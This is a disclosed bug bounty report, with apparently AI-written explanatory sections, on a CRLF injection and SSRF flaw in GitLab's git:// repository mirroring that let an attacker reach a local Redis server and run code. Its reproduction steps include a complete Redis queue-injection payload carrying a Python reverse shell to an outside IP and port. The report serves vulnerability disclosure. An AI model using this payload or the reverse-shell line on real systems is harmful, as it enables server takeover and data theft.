CRLF injection & SSRF in git:// protocal lead to arbitrary code execution
The git:// protocol handler in GitLab was not protected by the UrlBlocker, allowing CRLF injection and SSRF. An attacker could send crafted requests to a local Redis server and inject a malicious job into a queue, leading to arbitrary code execution.
Originally disclosed on HackerOne
- Triaged in 7 hours
- Fixed in 15 days
- Disclosed after 2.0 years
Summary:
The implementation of git:// protocal in GitLab is vulnerable to CRLF injection and Server-Side Request Forgery. If the redis server is configured to listen on TCP socket (eg. port 6379), an attacker can abuse SSRF to manipulate redis server, injecting malicious payload into system_hook_push queue, which result in arbitrary code execution.
Description:
This vulnerability is similar to @jobert 's https://hackerone.com/reports/299473 . GitLab patched the CRLF injection in HTTP header and introduced the UrlBlocker module to prevent HTTP requests going into intranet. But git:// is not restricted to the UrlBlocker.
This gif shows a request sent to 127.0.0.1:2333 with multiple CRLF injected:

Steps To Reproduce:
- Follow GitLab Docs to set up a redis server listening on
127.0.0.1:6379 - Sign in and create a project, go to project Settings -> Repository -> Mirroring repositories
- Add a mirror repo, capture the POST request using BurpSuite or Fiddler or whatever you like, and modify the post param
project[remote_mirrors_attributes][0][url]to:
git://127.0.0.1:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|/usr/bin/python3 -c \\\\\'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"118.89.198.146\\\",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"]);\\\\\'\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
/bbbbb/ccccc
(Thanks to @jobert 's payload again!)
- Make a POST request to
/{username}/{project name}/mirror/update_now?sync_remote=trueto trigger the mirror action - Attacker will receive a reverse shell on 118.89.198.146 port 8000

Impact
Same as https://hackerone.com/reports/299473:
An attacker can execute arbitrary system commands on the server, which exposes access to all git repositories, database, and potentially other secrets that may be used to escalate this further.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the git:// protocol was not covered by the UrlBlocker that restricts HTTP requests to internal addresses, and the URL was not sanitised for CRLF characters.
Impact
An attacker could execute arbitrary system commands on the server, exposing all git repositories, the database, and potentially other secrets.
What the attacker needed
Redis listening on TCP localhost:6379; Authenticated user able to create projects; Ability to add mirror repositories
How it was found
- Set up a Redis server listening on localhost port 6379.
- Sign in, create a project, and go to Settings > Repository > Mirroring repositories.
- Add a mirror repository and intercept the POST request.
- Modify the remote mirror URL parameter to a git:// URL pointing to localhost:6379 with injected CRLF commands.
- Send a POST request to the mirror update endpoint to trigger the mirror action.
- The attacker receives a reverse shell on their specified host and port.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
GitLab lets you mirror a repository from a URL. The git:// URL type was not checked properly, so an attacker could sneak extra commands into the request. Those commands went to a local Redis server, which then ran code on the machine.
What is SSRF?
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.